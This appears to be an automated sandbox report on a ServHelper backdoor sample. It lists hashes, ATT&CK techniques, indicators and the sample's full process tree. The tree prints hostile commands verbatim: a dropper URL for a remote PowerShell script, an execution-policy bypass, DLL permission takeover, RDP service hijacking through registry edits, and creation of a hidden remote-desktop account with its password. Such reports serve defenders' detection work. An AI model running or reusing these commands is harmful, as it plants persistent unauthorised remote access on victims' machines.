servhelper | a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
31-01-2022 23:41

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General

Target

a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
Size

4.5MB
MD5

d9825d1424b9058fd87f5bb6e808346a
SHA1

21980e67e2bba65b9753021e9091c2ab7c99f3e3
SHA256

a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3
SHA512

7359f0bc4f06f48b8a60764ba142bf7650cee52cfa8499142686c846abc8366faf6f8746573ec370eef64e6c92b5999e8e22f9521c4da91626d7d783883a0cef

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 10 IoCs

flow	pid	Process
49	1464	powershell.exe
51	1464	powershell.exe
52	1464	powershell.exe
53	1464	powershell.exe
54	1464	powershell.exe
56	1464	powershell.exe
58	1464	powershell.exe
60	1464	powershell.exe
62	1464	powershell.exe
64	1464	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1408	takeown.exe
1884	icacls.exe
3780	icacls.exe
3540	icacls.exe
3360	icacls.exe
3428	icacls.exe
3904	icacls.exe
3700	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000022101-186.dat	upx
behavioral2/files/0x0006000000022102-187.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1836	Process not Found
1836	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3700	icacls.exe
1408	takeown.exe
1884	icacls.exe
3780	icacls.exe
3540	icacls.exe
3360	icacls.exe
3428	icacls.exe
3904	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_p0o2z5a2.m2v.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6307.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_3osflhao.wue.ps1	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI61BB.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6287.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI6298.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI62F7.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 81091ab10308d801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3584	reg.exe

Runs net.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc	stream
HTTP User-Agent header	51	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	52	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	53	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	54	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	56	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
1528	powershell.exe
1528	powershell.exe
2872	powershell.exe
2872	powershell.exe
3740	powershell.exe
3740	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
1464	powershell.exe
1464	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeRestorePrivilege	3780	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	3640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3640	WMIC.exe
Token: SeAuditPrivilege	3640	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3640	WMIC.exe
Token: SeAuditPrivilege	3640	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeAuditPrivilege	3740	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeAuditPrivilege	3740	WMIC.exe
Token: SeDebugPrivilege	1464	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 2460	3876	a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe	55
PID 3876 wrote to memory of 2460	3876	a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe	55
PID 2460 wrote to memory of 3108	2460	powershell.exe	61
PID 2460 wrote to memory of 3108	2460	powershell.exe	61
PID 3108 wrote to memory of 2620	3108	csc.exe	62
PID 3108 wrote to memory of 2620	3108	csc.exe	62
PID 2460 wrote to memory of 1528	2460	powershell.exe	63
PID 2460 wrote to memory of 1528	2460	powershell.exe	63
PID 2460 wrote to memory of 2872	2460	powershell.exe	67
PID 2460 wrote to memory of 2872	2460	powershell.exe	67
PID 2460 wrote to memory of 3740	2460	powershell.exe	69
PID 2460 wrote to memory of 3740	2460	powershell.exe	69
PID 2460 wrote to memory of 1408	2460	powershell.exe	74
PID 2460 wrote to memory of 1408	2460	powershell.exe	74
PID 2460 wrote to memory of 1884	2460	powershell.exe	75
PID 2460 wrote to memory of 1884	2460	powershell.exe	75
PID 2460 wrote to memory of 3780	2460	powershell.exe	76
PID 2460 wrote to memory of 3780	2460	powershell.exe	76
PID 2460 wrote to memory of 3540	2460	powershell.exe	77
PID 2460 wrote to memory of 3540	2460	powershell.exe	77
PID 2460 wrote to memory of 3360	2460	powershell.exe	78
PID 2460 wrote to memory of 3360	2460	powershell.exe	78
PID 2460 wrote to memory of 3428	2460	powershell.exe	79
PID 2460 wrote to memory of 3428	2460	powershell.exe	79
PID 2460 wrote to memory of 3904	2460	powershell.exe	80
PID 2460 wrote to memory of 3904	2460	powershell.exe	80
PID 2460 wrote to memory of 3700	2460	powershell.exe	81
PID 2460 wrote to memory of 3700	2460	powershell.exe	81
PID 2460 wrote to memory of 452	2460	powershell.exe	82
PID 2460 wrote to memory of 452	2460	powershell.exe	82
PID 2460 wrote to memory of 3584	2460	powershell.exe	83
PID 2460 wrote to memory of 3584	2460	powershell.exe	83
PID 2460 wrote to memory of 1360	2460	powershell.exe	84
PID 2460 wrote to memory of 1360	2460	powershell.exe	84
PID 2460 wrote to memory of 1288	2460	powershell.exe	85
PID 2460 wrote to memory of 1288	2460	powershell.exe	85
PID 1288 wrote to memory of 2744	1288	net.exe	86
PID 1288 wrote to memory of 2744	1288	net.exe	86
PID 2460 wrote to memory of 1420	2460	powershell.exe	87
PID 2460 wrote to memory of 1420	2460	powershell.exe	87
PID 1420 wrote to memory of 64	1420	cmd.exe	88
PID 1420 wrote to memory of 64	1420	cmd.exe	88
PID 64 wrote to memory of 1848	64	cmd.exe	89
PID 64 wrote to memory of 1848	64	cmd.exe	89
PID 1848 wrote to memory of 1748	1848	net.exe	90
PID 1848 wrote to memory of 1748	1848	net.exe	90
PID 2460 wrote to memory of 2784	2460	powershell.exe	91
PID 2460 wrote to memory of 2784	2460	powershell.exe	91
PID 2784 wrote to memory of 3824	2784	cmd.exe	92
PID 2784 wrote to memory of 3824	2784	cmd.exe	92
PID 3824 wrote to memory of 3676	3824	cmd.exe	93
PID 3824 wrote to memory of 3676	3824	cmd.exe	93
PID 3676 wrote to memory of 2752	3676	net.exe	94
PID 3676 wrote to memory of 2752	3676	net.exe	94
PID 2420 wrote to memory of 4008	2420	cmd.exe	98
PID 2420 wrote to memory of 4008	2420	cmd.exe	98
PID 4008 wrote to memory of 4060	4008	net.exe	99
PID 4008 wrote to memory of 4060	4008	net.exe	99
PID 3712 wrote to memory of 1772	3712	cmd.exe	102
PID 3712 wrote to memory of 1772	3712	cmd.exe	102
PID 1772 wrote to memory of 1408	1772	net.exe	103
PID 1772 wrote to memory of 1408	1772	net.exe	103
PID 3980 wrote to memory of 3852	3980	cmd.exe	106
PID 3980 wrote to memory of 3852	3980	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
"C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j5bwqhne\j5bwqhne.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0E7.tmp" "c:\Users\Admin\AppData\Local\Temp\j5bwqhne\CSCDDA7E95467DE4E0E95C9B57681387A73.TMP"
      4⤵
      PID:2620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3740
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1408
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1884
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3780
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3540
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3360
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3428
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3904
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3700
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:452
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3584
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1360
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2744
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:64
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1848
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1748
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3824
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3676
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3364

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe ced56fdb4f6d69c3f8c1587287054166 lQrIatP0sESqbu2kA5qkfA.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3372

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4060

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc bSDBzf1f /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc bSDBzf1f /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc bSDBzf1f /add
    3⤵
    PID:1408

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:3852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3444

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
1⤵
PID:1924
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
  2⤵
  PID:2008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
    3⤵
    PID:3060

C:\Windows\System32\cmd.exe
